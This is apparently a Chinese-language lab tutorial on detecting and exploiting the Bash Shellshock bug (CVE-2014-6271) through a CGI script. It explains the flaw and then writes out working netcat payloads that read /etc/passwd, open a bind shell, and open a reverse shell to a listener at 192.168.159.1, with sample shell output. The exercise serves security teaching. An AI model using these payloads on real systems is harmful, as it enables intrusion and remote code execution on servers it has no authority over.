简介

主要介绍了CVE-2014-6271漏洞的利用。这个漏洞影响Bourne Again Shell “Bash”。Bash通常无法通过web应用程序访问,但可以通过公共网关接口(Common Gateway Interface “CGI”)间接接触。

指纹识别

通过代理(Burp Suite 或者 OWASP Zap)访问web应用程序,我们可以发现当页面被加载时访问了多个URL:

要利用“Shellshock”,我们需要找到一种方式来和Bash进行“交谈”。这意味着找到一个CGI来使用Bash。CGI通常使用Python或者Perl,但在老旧的服务器上用Shell或者C写的CGI也很常见。

CGI如何工作

当你调用一个CGI,web服务器(这里是Apache)将开始一个新的进程并运行CGI。这里它会启动一个Bash进程并且运行CGI脚本。
Apache需要向CGI脚本传递信息。它使用环境变量来做到这些。环境变量在CGI脚本中是有效使用的。它允许Apache很容易的向CGI传递每一个头信息(或者其他信息)。如果你的HTTP请求头中有一个名叫Blah的头,那么在CGI脚本中你将有一个名为HTTP_BLAH的环境变量。

漏洞

在这里,我们主要关注Bash相关漏洞的第一个版本,但还有很多:CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187…
问题的根源在于Bash可以声明环境变量是一个内部函数。该漏洞的第一个版本与与函数声明导致任意命令执行有关。
首先,我们需要声明环境变量是一个函数,通过使用()。然后,我们将添加一个空的函数体。最后,我们可以在函数声明后添加我们想要运行的命令。更多的细节可以在这份邮件中找到( following email on oss-sec)。
如果你还记得我们之前所说的,Apache使用环境变量将头信息传递给CGI。因为它是基于CGI的Bash,我们可以声明一个空函数,然后在声明之后添加任意命令。

利用

该漏洞可以通过代理的repeater模块或者netcat进行利用。
有很多攻击在载荷可用,这取决于你想要达到什么效果。你可以使用下面的载荷来读取任意文件:

1
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80

这个有效载荷将读取文件 /etc/passwd 并将内容显示在响应中。
你需要查看HTTP响应头来查看文件内容。

绑定Shell

如果你想运行命令,最简单的方法是绑定一个Shell。你可以使用netcat(或者nc)监听一个端口并且重定向输入输出到 /bin/sh

1
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80

在这里。已经给出了netcat/nc的路径。在真实系统中,你将不得不暴力枚举路径,甚至它有可能根本没安装。
如果连接生效,CGI将等待你进行连接。然后,你可以连接到绑定端口:

1
2
3
$ nc vulnerable 9999
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

绑定Shell有着很大的限制:在你和受害者之间可能有防火墙,这将导致端口只是绑定,但你无法连接。为了绕过这一点,我们需要让服务器主动连接我们。

反弹Shell

我们希望服务器连接到我们,。要做到这种效果,我们需要首先在本地监听一个端口。我们需要使用一个服务器可以访问的端口,最常见的是21(FTP)、53(DNS)、123(NTP)、80(HTTP)和443(HTTPS),这些端口是服务器用来保持系统更新和进行每天的工作的端口。
我们将绑定443端口(你需要root用户或者sudo权限),使用下面的命令:

1
# nc -l -p 443

现在,我们只需要调整攻击载荷,以使得服务器连接回我们的443端口:

1
echo  "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80

然后返回到最初的netcat,我们可以在本地输入命令,它们将在服务器系统上运行:

1
2
3
# nc -l -p 443
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

总结

这个练习将教你如何手动检测和利用Shellshock获得命令的执行。这种安全漏洞是非常有趣的,往往可以在很长一段时间内不被发现,因为它位于内部的组件之间的相互作用。